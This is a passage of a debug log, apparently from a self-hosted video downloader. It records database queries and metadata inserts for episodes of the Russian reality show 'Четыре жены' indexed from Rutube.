одежде и макияже.", "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "bf2495e6657bbc1a1be5ee29b52ca7ff", 7100, false, "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", false, 6, ~U[2023-07-20 14:40:05Z]] 20:59:11.567 [debug] QUERY OK source="sources" db=8.6ms queue=0.1ms idle=546.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:11.568 [debug] QUERY OK source="media_profiles" db=0.3ms idle=97.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:11.570 [debug] QUERY OK source="media_items" db=0.7ms idle=97.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76332] 20:59:11.570 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "duration" => 6925, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", "id" => "0329dc4cd3ca338a2b3f2a85d60fac5a", "original_url" => "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", "playlist_index" => 10, "timestamp" => 1690470010, "title" => "Четыре жены: Жена с характером, творческая, свободная и подруга", "upload_date" => "20230727"} 20:59:11.571 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=98.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:11.572 [debug] QUERY OK source="sources" db=0.3ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:11.573 [debug] QUERY OK source="media_items" db=0.5ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-27 15:00:10Z], 6] 20:59:11.698 [debug] QUERY OK source="media_items" db=124.6ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Жена с характером, творческая, свободная и подруга", "a421e84d-6c09-46b5-be56-eedc258090d5", "0329dc4cd3ca338a2b3f2a85d60fac5a", 6925, false, "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", 10, "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", false, false, false, 6, [], 1, ~U[2023-07-27 15:00:10Z], ~U[2025-12-08 17:59:11Z], ~U[2025-12-08 17:59:11Z], "Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Жена с характером, творческая, свободная и подруга", "0329dc4cd3ca338a2b3f2a85d60fac5a", 6925, false, "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", false, 6, ~U[2023-07-27 15:00:10Z]] 20:59:11.707 [debug] QUERY OK source="sources" db=7.7ms idle=127.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:11.707 [debug] QUERY OK source="media_profiles" db=0.3ms idle=134.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:11.708 [debug] QUERY OK source="media_items" db=0.4ms idle=134.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76333] 20:59:11.708 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре жены».", "duration" => 7418, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", "id" => "de6aaa9de4796334005ea0feac7c3ef2", "original_url" => "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", "playlist_index" => 11, "timestamp" => 1691074810, "title" => "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "upload_date" => "20230803"} 20:59:11.711 [debug] QUERY OK source="sources" db=0.8ms queue=1.8ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:11.712 [debug] QUERY OK source="sources" db=0.4ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:11.713 [debug] QUERY OK source="media_items" db=0.6ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-03 15:00:10Z], 6] 20:59:11.823 [debug] QUERY OK source="media_items" db=108.7ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре жены».", "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "528844a4-1de1-4d27-8f51-0caab5efd3b9", "de6aaa9de4796334005ea0feac7c3ef2", 7418, false, "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", 11, "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", false, false, false, 6, [], 1, ~U[2023-08-03 15:00:10Z], ~U[2025-12-08 17:59:11Z], ~U[2025-12-08 17:59:11Z], "4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре жены».", "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "de6aaa9de4796334005ea0feac7c3ef2", 7418, false, "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", false, 6, ~U[2023-08-03 15:00:10Z]] 20:59:11.832 [debug] QUERY OK source="sources" db=9.1ms idle=114.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:11.833 [debug] QUERY OK source="media_profiles" db=0.4ms idle=121.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:11.834 [debug] QUERY OK source="media_items" db=0.6ms idle=121.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76334] 20:59:11.834 [debug] Current batch of media processed. Will check again in 1000ms 20:59:12.835 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "duration" => 7236, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", "id" => "bcd7aa93e53f886464242cd82d02e411", "original_url" => "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", "playlist_index" => 12, "timestamp" => 1717686012, "title" => "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "upload_date" => "20240606"} 20:59:12.836 [debug] QUERY OK source="sources" db=0.7ms idle=1013.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:12.837 [debug] QUERY OK source="sources" db=0.4ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:12.838 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-06 15:00:12Z], 6] 20:59:12.916 [debug] QUERY OK source="media_items" db=76.5ms idle=1004.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "11a054d6-8a7d-4170-ad3f-3edf7d74a330", "bcd7aa93e53f886464242cd82d02e411", 7236, false, "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", 12, "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", false, false, false, 6, [], 1, ~U[2024-06-06 15:00:12Z], ~U[2025-12-08 17:59:12Z], ~U[2025-12-08 17:59:12Z], "Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "bcd7aa93e53f886464242cd82d02e411", 7236, false, "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", false, 6, ~U[2024-06-06 15:00:12Z]] 20:59:12.928 [debug] QUERY OK source="sources" db=10.1ms idle=206.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:12.932 [debug] QUERY OK source="media_profiles" db=2.7ms queue=0.5ms idle=92.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:12.935 [debug] QUERY OK source="media_items" db=2.3ms idle=95.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76335] 20:59:12.936 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или жена-золото? Противостояние участниц покажет программа «Четыре жены».", "duration" => 7695, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", "id" => "2e3e5c7c7943c65a6ffb68b495faf23e", "original_url" => "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", "playlist_index" => 13, "timestamp" => 1718290212, "title" => "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "upload_date" => "20240613"} 20:59:12.939 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=99.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:12.942 [debug] QUERY OK source="sources" db=0.8ms queue=0.4ms idle=25.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:12.943 [debug] QUERY OK source="media_items" db=1.0ms idle=15.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-13 14:50:12Z], 6] 20:59:12.988 [debug] QUERY OK source="media_items" db=43.7ms idle=11.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или жена-золото? Противостояние участниц покажет программа «Четыре жены».", "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "b228565a-73e2-4407-abe6-05a2934622a3", "2e3e5c7c7943c65a6ffb68b495faf23e", 7695, false, "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", 13, "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", false, false, false, 6, [], 1, ~U[2024-06-13 14:50:12Z], ~U[2025-12-08 17:59:12Z], ~U[2025-12-08 17:59:12Z], "В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или 